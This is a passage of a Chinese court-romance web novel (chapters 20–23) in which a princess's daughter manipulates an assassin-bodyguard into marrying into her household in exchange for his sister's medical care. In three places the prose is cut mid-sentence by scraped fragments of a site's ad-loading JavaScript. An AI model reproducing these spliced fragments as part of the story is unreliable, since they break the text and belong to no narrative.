她走后如春将剩下的事处理好,每人各领二两白银,愿意留在府上的全部送到侍卫队,其余几人倒是没什么怨言。 处理完其他人的事,如春看着还站在原地的沈确,忍不住皱了皱眉:“你先跟着赵叔,他不仅是府上的老人,还负责长公主府里的警备。虽然郡主挑选了你,但不代表你能立刻任职。” 如春将华梨方才用过的茶盏放在方盘上端起,“还有,不要起什么歪心思。” 她语气未变,眼神却狠狠剜在沈确身上,将对沈确的敌意毫不收敛地表现出来。 沈确记得如春是华梨的贴身侍女,他点点头:“我知道。” 等到用晚膳的时候,华梨没见到沈确,问:“人呢?” “回小姐的话,怕他不懂府上的规矩,便先让他去赵叔手上学习几天了。” 华梨点点头,对如春这样的安排没什么异议。 “将他的表面身份调查清楚。” 既然沈确主动送上门,华梨没有理由放走他。 沈确这种杀手在表面上肯定会有一个干净的身份,和暗地里那个血腥的身份割裂开,唯有如此,才有几分能够做人的机会。 而华梨并不打算深究沈确那层危险的身份,只要把握住他明面上的身份,基本就等同于拿捏住对方。 当然这也意味着,对方有充分想要杀死自己的理由。 可华梨之所以能知道这层身份,是沈确自己给的机会。 也就是说沈确在通过自己的方式告诉华梨他的无害。 但究竟是真是假,不得为知。 这场狩猎还没有走到尾声,华梨必须确保自己时刻手握决定猎物的弓箭。 也是降临,长公主府中亮起灯。 华梨推开窗将手伸出,轻薄的绸缎被风吹动紧贴着肌肤。 府中一般侍卫是会有卖身契的,但这种没有奴籍受到主家干活的人,大多数只需要记录基本信息。里面多有记录居住地和家中近况,还有之前的受雇经历。 沈确父母双亡,唯有一个妹妹。 华梨盯着纸上“姜不离”的名字看半晌,推测出应当是这个妹妹的了重病。 她突然又想到被自己忽略的一个问题。 既然家中有长期需要用银钱吊着命的亲人,他之前究竟为何赶来赴约。 甚至在察觉有人在暗中埋伏,有可能命陨于此,都没有转身离开。 20. 第 20 章 这个问题在华梨心中留下不深不浅的疑惑,但她不打算直接询问,她更想让沈确主动暴露自己的一切。 沈确的学习能力和服从性都很强,在赵叔手上没几天,便回到华梨身边。 他和赵叔来时,华梨正在给长公主写信。 听到动静,她搁笔抬眸,眼神落在身姿挺拔的沈确身上。末了,看向赵叔。 赵叔是府上的老人,是看着华梨从小长大的人,他笑眯眯地看着华梨:“大小姐这次可是找了个好苗子,这小子的武艺可是不输我,我瞧着,恐怕都不输如春那丫头。有这两个人在大小姐身边,只怕什么妖魔鬼怪都不敢近小姐的身。” 赵叔喜欢叫华梨为“大小姐”,与华梨说话总是带着几分哄稚童的感觉。 他拍拍沈确的肩膀将人往前一送,“只是最近这京城中颇为不太平,小姐出门需的多带些人。” “更何况比起这个小子,如春丫头才更懂小姐您的心思不是。” 这些话是在警告沈确,也是在暗中提醒华梨不要给予对方太多信任。 华梨点点头:“我知道了,麻烦赵叔了。” 赵叔话送到,也没有多留的打算,很快退下,房中只剩下沈确和华梨两人。 如春虽然说是华梨的大侍女,但是长公主外出时,府中部分事宜都由她来操持,故而华梨不外出的时间里,如春大多时间要处理琐碎事宜,没有待在华梨身边。 华梨招招手招呼沈确走近。 她问:“你会写字吗?” 沈确点头又摇头:“认字,不会写,难看。” 华梨想起之前那张字条上歪七扭八、难以辨认的字迹,迟疑小声道:“……原来那种字迹并非是你故意为之啊。” 她从旁侧抽出一张空白的宣纸认真看着沈确:“我来教你写字,你得好好学。我不容许我身边的人写出那般惊世骇俗的字。” 沈确的目光从白净的宣纸脱离,“好。” 提笔蘸墨,华梨在纸上写出一个“梨”字,最后一笔落下后,她将笔塞到沈确手上,示意沈确照着她方才的动作写一遍。 为防止沈确写出的字和自己的字对比起来过于惨不忍睹,她专门为沈确准备了张宣纸。 静待几瞬,沈确没动。 华梨放在桌案下的脚踩了下沈确,她拧眉:“写啊。” 沈确低头回避华梨的眼神,高束的马尾落在肩后: “抱歉,属下没有看明白。” 华梨一噎,嘟囔道:“行吧,念在你已经过了读书习字的最佳年纪,我理解一下。” 她拿起另外一根毛笔,又写了一遍,这次她特意放慢动作,想让沈确看清楚。 结束后不待华梨开口说话,沈确依然拿起毛笔像模像样地在纸上写起。华梨看了眼他的动作,还有写出的字,指点:“不要那么大力气握笔,又不是让你杀人。” 她用笔杆敲敲沈确的大拇指:“手指往上抬……握笔姿势没什么问题了。” 纸上的字说不上好看,但能认出是个字,比以前好上不少。 华梨单手撑脸看着沈确纤长浓密的睫毛:“每日书一页的字交给我,等到我觉得可以停了才准停,至于写什么……” 她站起身在左后方的书架上拿出一本游记递给沈确。 “就写这个,不许应付了事。” 不论华梨说什么,沈确都只会乖乖应好。 所有阴暗冷漠的神情被他隐藏在眼神之后,好似一个真正的、任劳任怨的贴身侍卫。 思及此,华梨动作一顿。 沈确本要接过游记,但华梨紧攥着游记的边角不放手,他只能放手,疑惑地看向华梨。 只见原本心情极好的大小姐突然冷下脸,带着怒气看着自己,好似他突然做了什么罪大恶极的事。 于是沈确下意识开始思考自己的行为。 但没等沈确思考出自己哪里的行为惹怒华梨,华梨已经将游记重重扔到他的怀里:“带着游记滚出去,接下来三天别出现在我面前。” 沈确不明所以,但已然听从华梨的命令往外走。 刚关上门,恰好碰到前来向华梨呈送本期账本的如春。 如春虽然不喜欢沈确,但由于华梨喜欢沈确,她没有将这股厌恶放在明面上。 见到人便问一句:“你怎么出来了?” 见是常跟在华梨身边的人,沈确顿住脚步道:“郡主让我这三天都不要出现在她面前。” 如春有些惊讶:“你做什么了?” 沈确垂眸:“不知道。” 如春没打算关心沈确,她道:“既然惹得郡主生气,那定是你有哪里做的不好,自己仔细反省,这三天你就先回赵叔手底下。” 沈确:“嗯。” 如春走后,沈确依旧没想到自己究竟哪里惹得华梨生气,他最终得出的结论是华梨并不喜欢他。 将他留在身边也只是为了折磨他。 但这样的折磨不痛不痒,对沈确而言更像恩赐。 他本不想到华梨面前来惹得华梨厌烦。 但不知为何,姜不离的病情突然加重。 近段时间又无悬赏,他必须要能确保姜不离以后的供药不断。 所以在那个衣工无意间说起长公主府在招收贴身侍卫、酬金丰富时,他还是来了。 于他而言,华梨是个大好人。 华梨无论做什么都是再正常不过。 . 赵叔见到沈确时也是有些惊讶,他上上下下将沈确看了个遍。 “怎么回来了?” “……小姐说这三天里,让我不要出现在她面前。” 赵叔:“那你手上的游记是怎么回事?” 沈确:“小姐让我练字。” 赵叔也摸不透华梨的想法,于是他拍拍沈确的肩膀,笑道:“小姐她可从没把自己那架子上的书外接,这说明小姐没有看上去那么生你的气,既然让你练字,你就好好练字,别想那么多。” 沈确漆黑的瞳孔泛起一抹微亮,他道:“嗯。” 长公主府的规矩并没有那么多,赵叔不知道还能让沈确干什么,便叫人待在房中好好练字。 夜幕降临,沈确将今日份的字帖交给如春后,便独自回家。 如春拿着那张纸交给华梨,华梨看几眼后就随手放在一旁,面上的表情看不出什么。 华梨不提,如春也不过问。 她将另外一份请柬放在华梨面前,解释道:“小姐,这是五皇子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 送来的请柬,里面似乎还夹了封信。” 在请柬中夹信,华梨没想到对方已经无耻到这种程度,于是华梨连看都不看:“拿走,不去。” 如春有些担忧道:“可是小姐,最近朝廷动荡,原本能和五皇子一争的大皇子势力受挫,五皇子如今这情况,恐怕……” 华梨不耐烦:“舅舅尚且在位,他翻不出什么大浪。” 这般说,如春也不好多劝,毕竟她也不喜欢五皇子。若非五皇子对华梨步步紧逼,华梨的名声也不至于被民间传的那般不堪。 她收起请柬,正要离开,听到华梨的声音在身后响起:“沈确的背景调查清楚了吗,情况是否属实?” 如春转身:“情况属实,没有欺瞒。他那个妹妹得病好久,原本说是快好了,但是最近突然病情加重,好在他这些年攒有不少银钱,这才把人从鬼门关拉回来。但这康复的希望……又是遥遥无期。” “沈确的邻里和沈确兄妹都不大相熟,但最近有个邻家的常去找那个妹妹,两人关系似乎不错,郡主你也认得那个人,是来府上两次的圆脸衣工。” 不知是有意还是无意,如春轻声补了句:“也是够巧的。” 华梨阖眸:“没了吗?” 如春:“还有一点,是沈确在醉香楼当打手和店小二,我去找人问了问,他不在府上当值的日子就会去醉香楼。” 华梨:“那他还挺忙的。” 暗中观察华梨说这句话的表情,如春犹豫道: “若是郡主不喜,明日我会勒令他辞掉那些工作,也会给予相应的补偿。” 华梨奇怪的看她一眼:“不必。” 想到明日沈确不当值,华梨道:“明日去醉香楼。” 说完,华梨想起自己今日和沈确说的话,她在心中默默补充,是不让沈确主动出现在自己面前,不代表自己不能出现在他面前。 规矩是约束他的,又不是限制自己的。 抱着这样的想法,第二日下午华梨到了醉香楼。 因为嗅觉过于灵敏,华梨很少去酒楼这种气味混杂的地方。 好在如春已经打点好一切,进到包厢中,华梨才松口气。 她将窗户打开,让风在房间中流动。 醉香楼位置朝南,外面是一个池塘,池塘中的荷花亭亭玉立,闹市的喧杂没有传到这里。 用膳到一半时,如春突然来敲门。 她凑近华梨耳边低语:“郡主,我刚才无意看到沈确方才行色匆匆的回去了。” 这真的是无意,华梨虽然说要来醉香楼,但是没吩咐任何任务给她,像只是来尝尝醉香楼的手艺。 她不想用这件事打搅华梨用膳,可猜到华梨会在意,故而前来汇报。 华梨放下筷子,拿起一旁手帕轻轻擦嘴。 回去? 恐怕是有什么事,比如那个体弱多病的妹妹。 她冷静吩咐:“找人跟着,弄清楚是什么事,如若必要,可以现身。” 末了,她忽然想到沈确武艺高超,怎么会察觉不到有人在暗中跟着。 她放下手帕。 “十有八九是家中出事,但他不可能待在酒楼就能知道外面的事,查查刚才有什么人进出……” 21. 第 21 章 不久后,如春带着消息回来。 “是那个衣工来过,听另外几人讨论,似乎是沈确的妹妹急症突发,在家中咳血了。” “咳血……这般严重啊。” 华梨站起身整理袖口,道:“我一直在想,沈确这么缺钱的人,在听到我想招他为婿的消息时为何不答应,现在,我大概懂了一星半点。” 听到华梨的话,如春登时紧张起来。 招婿? 为何她不知道? 如春眉头紧蹙,颇为忧心,害怕华梨对沈确过于上心。 华梨没有注意到如春怪异的神情,她将桌上的白瓷杯转过一圈:“无非是那时候他并没有那么缺钱,而且,他不觉得能从我的手中拿到钱,去医治自己的妹妹。最后则是某种隐匿的自尊心。” “若我有日落魄,亲人病重,需得我委身于陌生的、甚至看不起我的人手上,我也不会答应。因为我更在乎我自己。”她笑笑,只是笑意冰凉,“更何况,若那人真的在乎我,恐怕也不会想看到我收到这种折辱。” “但,沈确的情况如今发生了转变。若我现在告诉他,我愿意承担他妹妹所有的药费,直到病情康复——但代价是要他做赘婿,你猜他会答应吗?” 如春迟疑,但既然华梨在问自己,她答: “也许,但也有记恨上郡主您的可能。” 华梨指尖点点杯中茶水。 窗外碧色连天,看上去是个好天气。 “那就与我无关,是他不识好歹。” 华梨一直很残忍。 她的残忍是对于人事的凉薄和不在乎,以自己为中心。 但她又因为这份凉薄和不在乎,反过来隐藏了自己的残忍,但在某些时刻,这份残忍就会流露出来。 譬如现在。 “他妹妹的病不是我导致的,我只是提供给他一个诱人的结果,怎么选、如何选、把握在他自己手上,他选了我给他提供的捷径,凭什么记恨我。” 不等如春思考,华梨自己接上这句话:“是因为这种行为像落井下石吗?我倒是觉得更像是因为他自己承担不起后果。万一因为自己折不下面子,导致亲人无法得到医治,以至于死去,这得多愧疚啊——若我不给他提供这个选项,他大可以说自己努力过了,多么努力啊。” “日夜不停地接悬赏。” 华梨看着如春,那种眼神让如春感到有些不适,是比冷血动物更为淡漠的眼神。 让她有些幻视自己曾跪在金銮殿的台阶下,只见过一次的那个眼神。 生杀予夺在这种人眼中,最正常不过。 但下一刻,华梨便移开眼神:“不要回报,就是天大的好人,来世当牛做马也要报答。要求对等的条件,就是落井下石,天底下怎么会有那么好的事。” 她拿起桌上的糕点轻咬一口。 华梨拍掉手上的碎屑道:“回府吧,一切都还是个未知数呢。” 今日华梨穿着一身鹅黄色的襦裙,翠色披肩搭在手臂上,裙摆的刺绣是喜鹊逐花。 她先一步踏出房门,如春跟在华梨身后,难得思考起一件事。 长公主曾交代,让自己好好照看华梨,务必时刻跟在华梨身边,每月同她寄一封有关华梨的信,她本以为是因长公主害怕华梨识人不清、受到伤害,如今细想,华梨的聪慧无人能及,谁能骗得了她? 看着半米远的华梨背影,如春敛起脑中思绪:无论如何,华梨是主子,长公主也待她有恩情,不管华梨究竟如何,她都会保护好她。 华梨很少在如春面前说这么多话,因为她知道如春是长公主的眼睛,她对这种被时刻监护的感觉说不上厌恶,但终究有些抵触。 她会完全信任如春,但是她不会什么事都同如春讲。今日说这么多,是因她发觉如春始终将她当作幼童对待。 仿佛什么人都能将她的心智哄走。 她扶着木质扶手下楼,一低眼,看见了五皇子华钧。 华钧见到华梨,俊朗的脸上下意识浮现出几分笑意,华梨则是皱眉偏过脸。 她没有回应华钧的示好,心中想到最近朝堂上的风雨变化,无甚表情地下楼。 “阿梨,我的生辰宴你会来吗?” 下至二楼,华梨被华钧叫住,这才想到原来昨天夜里的请柬是生辰宴的请柬。 她敷衍的点点头,没说话。 华钧佯装没看到华梨的敷衍:“所以信里的内容你看了吗?” 华梨往下踏了一步:“看了,可以让我走了吗。” 华钧站在原处,脸上的笑意淡了不少,他轻轻道:“其实你看不看都不打紧,重要的是,阿梨能来就好。” 这句话被华梨听到,她心下疑惑,恢复后立马让如春把请柬找出来。 果不其然,那份属于她的请柬里面夹着一封信。 信中说,在华钧生辰那一天,他会请求陛下赐婚。 华梨将信纸撕碎扔在地上。 华钧最近势力渐长,华梨虽然得皇帝宠爱,可那毕竟是皇帝,她不能完全把握对方想法,更不能在这种权利漩涡的中心依仗他。 再者,华钧怎么敢这么做?甚至当她的面前,像是挑衅一般地将这件事告诉她。 他肯定同皇帝提过这件事,且皇帝的态度是偏向他的。 华梨只觉得心中发毛。 生辰宴在月底,此时传信给长公主也来不及。 虽然就算是赐婚,她也敢抗旨,毕竟她有免死金牌,皇帝更不会因为这种事赐她死刑。 她只是不想和华钧扯上这种关系。 以后别人提起她,就要说一声——五皇子曾向陛下请求赐婚,求娶她。 甚至更甚。 恶心的慌。 华梨一脚踩上地上的碎纸屑,对侍从道:“打扫干净。” 这件事并非无解。 华钧知道她不愿意和皇家扯上太多关系,更不喜欢借用皇权。 但华钧低估了自己有多讨厌他。 她不想让这件事发生,就一定不会让这件事发生。 华梨这一夜尚且没有动作,只暗中叫人打探沈确目前的情况。 沈确的妹妹被送入医馆后医师皆束手无策,后来沈确便行踪不明,华梨怀疑是进入了影阁内部,影阁中肯定有比外面医术还要高明的医师。 “属下无用,一时疏忽导致跟丢,望主上责罚。” 华梨摆摆手让人撤下。 既然沈确能将人甩掉,就说明他发现有人在跟着自己。影阁位置机密,若真叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 暗卫发现,恐怕暗卫未必能活着回来。 她拿起毛笔蘸墨,石榴色的袖口拂过桌面,袖口内侧金丝索隐若现。 华梨低头,带动耳旁珍珠吊坠微晃。 这封信是给皇后写的。 内容自然是她说自己找到了心悦之人,感谢前段时间皇后为她递上赏花宴的帖子云云。 皇后和皇帝是一体的,她知晓皇帝在乎她,这种儿女情长的小事虽然不会特意提及,但最终肯定会让皇帝得知,更何况前些日子皇帝还让皇后替她张罗找心上人的事。 皇后和皇帝之间利益关系居多,同皇后说这件事,等同于和皇帝说这件事。 她不会故意隐瞒。 . 皇宫内,夜幕降至。 皇帝在御书房处理了一整天的政务,有眼色小内侍跑过来替皇帝捏肩,皇帝仰头靠着椅背,笑呵呵道:“真是年纪大了不中用了,这身体一天天的,以前可是能处理一整天的政务。” 这话在场的人没人敢接。 皇帝习惯这种沉默,他望了眼外面的天色,道:“摆驾去皇后那里,有些日子没去了。” 皇后收到信时,皇帝要来她这里用晚膳的消息还没传过来。 她身边的大宫女见皇后神色有些紧张,主动问到:“娘娘,怎么了吗?” 大宫女是皇后的亲信,面对她,皇后没什么顾忌:“是长公主府那边的来信。” 长公主府的来信多代指长阳郡主华梨。 侍女疑惑:“长阳郡主?” 长阳郡主是个极为孤僻的人,鲜少和宫内之人有往来。长公主也是如此,平时能同长公主联系上的人,也只有皇帝。 母女二人似乎在这一点上极为相似。 皇后点点头,收到长阳郡主信件的时候她也很是惊讶。 这点惊讶在她看完信后转变成了担忧。 她能坐稳皇后位子,自然不是蠢人,华梨突然传来这封信,用词亲切,既不像她平日的性格,又不似威胁。 找到喜欢的郎君同她讲做甚?她又不是长公主。 稍稍思考半晌,皇后找到结症所在,恐怕这背后有更深层的关系。哪怕后宫不得干政,她都听到些风风雨雨,这些日子朝堂很是动荡。 想到前段时间皇帝曾让她给华梨找个郎君的事,皇后微微凝眉。 正巧内侍来报,皇帝摆驾凤仪宫。 她当即拿定主意将这件事踢给皇帝。 在皇帝用过晚膳后,皇后端着小厨房熬的绿豆碎冰汤放在皇帝面前的小几上。 那小几上还放着华梨寄过来的信,皇后见皇帝拿了本游记在看,坐在皇帝身边柔声道:“陛下可记得前些日子让妾身为长阳郡主物色适龄儿郎的事?” 皇帝点点头:“自然记得。” 皇后轻笑,拿起桌案上的信件道:“今日长阳郡主给我送来信,说是找到心上人。” 听到这里,皇帝神情才有波动,眉目染上几分诧异。 “谁能让那丫头上心。” 一旁手中拿着信件的皇后默默观察皇帝的表情,分不出对方是真的不知情、还是装作不知的模样。 皇后脸上始终挂着得体的笑容,她将信递给皇帝:“不知道,郡主未曾和妾身提及。” 22. 第 22 章 沈确再次回到长公主府时,三日之期已过。 他这几日忙着为姜不离找医师,但空闲时间还是临了字帖,到今日一起交到如春手上。 姜不离上次身体还没养好,这次又染上疾症,所幸他还剩下有积蓄。 华梨推开门出来时,就见到沈确站在门外。 他穿的是长公主府侍卫的统一配饰,腰间挂着身份令牌,额前碎发遮住眼睛,有些阴郁的样子。 见华梨出来,沈确想到府中的规矩,道:“郡主好。” “你最近遇到麻烦了?” 华梨问沈确,沈确不明所以:“没有。” 华梨反笑:“你妹妹重病不算是麻烦事吗。” 沈确一愣,想到前几天暗中跟踪他的人原来是华梨安排的,他摇头:“那不算麻烦,我习惯了。” 清晨打扫院子的侍女本在认真清扫亭内枯枝落叶,但被如春叫了出去,院子里只剩下华梨和沈确两个人。 前些天侍从门才将树上的蝉抓了一遍,今天又能听到有蝉声阵阵。 和沈确这种呆愣子说话有些挑战人的耐心。 华梨示意沈确弯腰与她平视,“我可以负责你妹妹的医药费,也会替你妹妹寻到名医,而我不需要你给我卖命杀人,你只需要每天讨好我,让我开心,为我是从,做我的赘婿。” 很直接的一番话,华梨就喜欢直说重点。 “我暗中查清楚了你妹妹的处境,依你目前的情况,手上的储蓄恐怕只能支撑到下个月,贴身侍卫的奉禄能将这段时间拖长一周左右。那之后如果你还没能接到悬赏……你的妹妹会怎么办呢。” “她现在的身体恐怕不能断药。” 沈确沉默,似在思考华梨说的话。 许久过后他还是没什么反应,华梨的绣花鞋踩在沈确的黑色靴子上,提醒他开口说话。 “为什么帮我?” 沈确问她。 华梨微侧过脸,发丝掉落在肩膀上,她手触碰到沈确的脸,指尖划过,最终停留在耳下的肌肤:“不难理解吧,你长得好看,我喜欢你的脸,所以我愿意。” 如春和她先前提到的假设都没有发生,对方没有摆出一副被羞辱到的样子,而是将她的行为认作是“帮助”。 无论是他假装的还是发自内心这么认为的,华梨都很满意。 起码这个人在表面上达到了她所有的要求。 “我答应你。”沈确回道,又补充一句道,“谢谢长阳郡主。” 两个人的表情都很平淡,像在讨论正事似的。 华梨扯着沈确的袖子将他带入自己的房间。 左右环顾后,华梨将沈确推到梳妆镜前,脸上露出笑来,很是开心的样子:“那我送你一样东西。” 她在妆奁盒中翻找出一对耳饰,细长的银链缠绕在红羽之上,像是被牢笼困住的自由鸟。 这对耳饰被华梨那在手上,她也不会管沈确最终的意见如何,反正对方已经答应入赘,那就是她的人,如何对待是她自己的事。 华梨凑近沈确时能问到他身上特殊的异香。 她的手指带着细巧的弯钩穿过沈确的耳洞,一如灯会那晚,沈确身体僵直,他还是不能适应华梨离自己太近。 “你把脸抬起来看着我。” 沈确依言侧脸抬头,他的肤色偏瓷色,华梨疑心是因为很少见阳光的缘故。 仰头的时候,沈确的发尾扫到华梨的手背。 因为华梨站在沈确后侧,她的另外一只手按着沈确的肩膀不让对方站起身,沈确仰头侧脸和华梨对视时,脖侧被拉出一个漂亮的弧度,显得精致又脆弱。 华梨指尖勾弄红羽。 “这是定情信物,记得收好,如果弄丢了,我要你好看。” 沈确点头,他漆黑的眼珠一动不动盯着华梨,也不说话,就那样沉默地看着华梨。 华梨低头时身后未束的披散的青丝顺着她的动作垂落,“你是不是不知道干什么?” “嗯。” 华梨想了想:“以后每天早晨起来后,你要为我梳头簪发。” 沈确:“好。” 华梨狐疑地看着沈确:“你会?” 沈确抿唇,低声道:“我会学。” 十分诚恳的态度,华梨喜欢这种听话的人,虽然总感觉有哪里不太对劲,但是她既然思考不到,那就说明不重要。 “不止这些,我不开心的时候你得自己想是为什么,你也不能开心。” 说完,华梨又感觉挺幼稚的,毕竟她也不知道夫妻之间要做什么。 于是华梨直起腰身推了沈确一把:“算了,你看上去也不像会开心的人。” 她道:“为什么非得问我,你自己是没有脑子吗。” 骂完华梨又提到另外一件事:“今天就让你和你的那个妹妹搬到府上吧……她现在状态怎么样?” 沈确:“身体差了不少,但能下床。” 明明病都快康复了,病情却突然加重,前不久还在家中咳血,华梨问:“是什么病?” 沈确:“医师也诊断不出来,她自娘胎里带的病,从小就身体不好,后来郁结在心,就更难康复了。” 华梨应付了声,过半晌,她把自己的计划讲给沈确听:“婚期定在这个月,长公主未必能赶回来。过会我去宫里请太医,明天若是可以,直接让你妹妹搬到府上,这期间再吩咐人去寻从西域来的那个名医,你没意见吧?” 沈确摇头。 他的眼神一直是又凉又冷的样子,华梨回视片刻,感觉没什么意思。 房间里放有一盆用来降温的冰,丝丝缕缕凉气从冰块上方飘出来消散不见。 “你会刺绣吗?” 就在沈确即将点头的时候,华梨警告他:“不准点头,你又不是哑巴,以后在我面前多说话。”她顿住,想到之前对方假扮成卫章时那副油嘴滑舌的样子,“也不要太多话,我嫌烦。” 沈确:“好,我会刺绣,但水平一般。” 华梨:“那这些天你就跟着绣娘学习学习,我的喜服上还有些地方没绣好,按道理应该是我来绣,但我最近要忙其他的事,所以就由你来代劳了。” 她凑近沈确,笑的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亲昵又体贴。 “可以吗?” 沈确耳朵泛红,眼睛却还是直直盯着华梨。 这是他做杀手时养成的习惯,只不过他平时盯的是任务目标,此刻看的是华梨。 沈确:“嗯,没问题。” 和沈确交代完全部事宜后,华梨便许对方今日休沐,之后华梨又将如春叫来嘱咐了几句,这才换衣入宫。 皇帝在御书房。 华梨掀帘而入,坐在上位的男人正在批奏折,对方头也不抬,声音却透露出笑意:“咱们阿梨今日怎么舍得入宫?” “因为有事要麻烦舅舅。” 她这般乖顺的态度让皇帝起疑心,皇帝抬起脸,“什么事?让我猜猜,是为了你给皇后写的信中,那个男人吧?” 华梨点头:“舅舅猜对啦,他的亲人身体不好,我想寻个太医给她看看。” 她倒是没想到皇后会这么快就把事情告诉给皇帝。 皇帝没什么意见:“这倒是没什么。可那男人靠谱吗,阿梨可是我和映月最疼爱的小姑娘,要是被人骗了感情,可就不好。” 华梨笑容微敛,受不得这种话:“没人能骗得了我。” 上位者哈哈大笑几句,没有被华梨的驳斥感到生气:“是是,小阿梨是这世上最聪明的孩子。” “我也不小了。” “那可不算,在我眼里你就是个小丫头片子。” 皇帝笑完,问华梨为什么突然给皇后写那封信。 “因为我打算招赘婿。” 她自然现在不能说华钧的事,反正成婚之事迟早要告诉皇帝,她现在说也没什么。 这句话的消息量有点大,皇帝一时间没能反应过来,张嘴又闭上,颇有些瞠目结舌的样子。 “那个男人?这么快?” 华梨无所谓道:“脸长的好看,我看了就喜欢,害怕被别人抢先了去不成吗?” “这……我倒是没什么意见,可是你娘那边知情吗?” “自然知道,如春什么事都会和她讲的。” 皇帝对华梨有些头疼,他斟酌道:“我的意思是,虽然这个男人也许没那么重要,你的夫婿自然也是由你自己挑选,映月那边也许知情,但终究和你自己同她讲这件事不大一样。” “知道啦。” 见华梨应下皇帝才放心,他喝了口茶:“婚期在什么时候?” “这个月。” “……咳咳……!”皇帝一口茶还没咽下去,差点被呛到,“这么快?” “嗯嗯,他比较患得患失又很自卑敏感。”这番话全靠瞎编,皇帝信不信和她无关。 “可我记得这个月月底是老五的生辰宴,你们关系不至于差到这种程度吧。” 华梨笑意不变:“自然,所以婚期定在他生辰之前,我肯定会去的,不为他,也要为舅舅的面子着想。” “我可没这么大的面子,不然你还会对老五那个样子?天天见到他都没好脸色。不过去或不去的权利在你,你是长阳郡主,母亲更是长公主,舅舅也站在你这边,你就算不去也没什么大不了。” 23. 第 23 章 沈确休沐后,便回了趟家。 姜不离半躺在床上,沈确进屋后先敲了敲门,等到姜不离应门他才推门而去。 即使面对这个相处多年的妹妹,沈确脸上也没有什么柔情,他看着面色苍白满脸病容的姜不离,道:“我做了长阳郡主的赘婿,等你身体好些我们就搬到长公主府。” 姜不离本没有在看沈确,听到这番话,她将眼神从外面的葡萄藤挪到沈确脸上,对上男人漆黑如墨的眼眸,“你说什么?” 沈确:“搬家。” 姜不离有些激动,病痛导致她的声音沙哑,像是被炭火烧过:“你到底在做什么?!你害死了我哥哥,说要照顾我一辈子直到治好我的病,但是若不是前几天钱湘告诉我你去当了长公主府的侍卫,我还要被你蒙在鼓里!!!” “你是不是就是在这段时间勾引上的长阳郡主?用什么勾引的?你这张廉价的脸吗?!” 充满憎恶的声音从姜不离口中发出,她的眼神带着深深的排斥,还有自己也未曾注意到的恐惧。 骂完心里的积怨,姜不离又开始哭,哭自己命不好、哭她唯一的亲人被沈确害死、又哭自己体弱多病。 沈确早就习惯这些谩骂,有些无所谓。 正打算离开,姜不离猛然叫住他:“你要背弃对我哥哥的誓言吗?你要抛下我吗?你是不知道外界对长阳郡主的评价吗?喜怒无常阴狠善妒,我搬去长公主府之后还能活着吗?!” 原本心中毫无波澜的沈确这才回头,他眼神很轻,但姜不离被他这样注视着,却恍若被毒蛇盯住,十分恐惧。 姜不离对沈确是又恨又惧。 但她知道自己绝对不能放走沈确,哪怕她拖着病躯膏肓的身体,她也要被沈确拖死。 沈确的眉头微皱,姜不离第一次在他的脸上看到其他的神情:“长阳郡主是好人,你该知道的。” 姜不离声音一滞。 她知道?她当然知道,从钱湘口中她早就知道世人对长阳郡主的误解,可是那又怎样? 凭什么沈确这样恶心、下三滥的人能碰到贵人赏识,这样的烂人因为一张脸从此步入荣华富贵,她哥哥那么好的人却早早死了,凭什么?她不甘心! 于是姜不离充满扭曲地吼道: “我知道又怎么样?!要是长阳郡主知道我不是你的亲妹妹,你猜她会怎么想?你以外她会接受你吗?你的这张脸、你迟早会年老色衰,你拿什么留住她?!我不会让你得逞的,你就该这样烂在这个破巷子里,或者死在任务里,被仇家当作娈童玩弄最后分尸,你这样的人就该不得好死!” 姜不离已经没办法保持冷静,只能说出些颠三倒四的话:“你当杀手的事她知道吗?富家小姐最厌恶这种脏东西,除了我谁还愿意和你待在一个屋檐底下?” 沈确不为所动。 “她的心上人是我的悬赏对象,我杀了他,郡主想报复回来。她是好人,知道你病重,我死后你活不成,所以接你入府。” 沈确的话并不完整,因为他不太会讲话,能在姜不离面前说出信息量这么大的话,已是极限。 听到话中内容,姜不离狰狞的面孔一愣,她呆呆看着沈确。 沈确想到还有绣衣的任务,见姜不离不在闹腾,就回到自己房间琢磨刺绣。 傍晚,华梨带着宫中太医来到沈确家中。 华梨请的是两个女太医,两人在姜不离房中低声交谈,华梨则是直接奔向沈确的房间。 她知道沈确很穷,但是没想到穷到这种程度,沈确的房间只有一张床塌、一张木桌、两张板凳,沈确进屋时甚至要弯腰低头避免被撞到头。 华梨环顾一圈后,坐在板凳上,她满身的贵气和沈确住的地方很不相称。 她指尖在木桌上划一道,抬起指尖看了看,上面没有灰尘才满意。 沈确站在她的身边低头静静看着华梨的动作。 趁着太医问诊的功夫,华梨好奇问起沈确的身世:“你是孤儿吗?为什么会成为影阁的杀手?” “他们从商,在我十岁时遇到山匪,他们都死了,我躲起来了才活下去,后来被人捡到进入影阁。” “那时候老皇帝还没死,确实乱。” 先帝晚年昏庸无道,致使民生煎熬,沈确父母遭此劫难,在当时也是常见。 华梨让沈确低头,她像摸猫狗的似得摸摸沈确的脑袋:“以后跟着本郡主就不会吃苦了。” 原本没指望沈确说什么,谁知过了半晌,沈确主动开口:“你不去看看她吗?” 华梨没反应过来这个“她”是谁,“看谁?” 沈确抿唇:“姜不离。” “我为什么要去看她,我又不是要和她成婚。”华梨充满疑惑的看着沈确,“我不认识她,我之所以帮她请太医是因为我喜欢你的脸,我不好女色,也不是什么大善人。” “可……” 沈确还是没明白。 这回轮到沈确迷茫了,他并不觉得自己长得有多么好看,从小到大,鲜少有人夸赞过他的容貌,说他适合当男宠的人倒是有几个。华梨说喜欢他的脸,但是她的眼中没有欲望。 影阁中教过□□,以若示色,以色生欲,以欲杀人。 色会生出欲,他分辨不出什么是喜欢,但能看出由之产生的欲望。 他闭上嘴,心思黯然。 她之所以这么说,是为了欺骗自己、诱哄自己留下来吧,等到成婚后,也许就会露出真实目的。 她想折辱他,自然就要先将他围困。 沈确脸上的困顿逐渐消散,恢复成以往死水般的模样。 华梨静静看着他,察觉到沈确对自己似乎有一层误会。 沈确他不通人心,在这方面蠢的惹人怜爱,所以华梨不打算解释清楚这层关系。 让他继续误会着不妨是件好事。 华梨满恶劣的想。 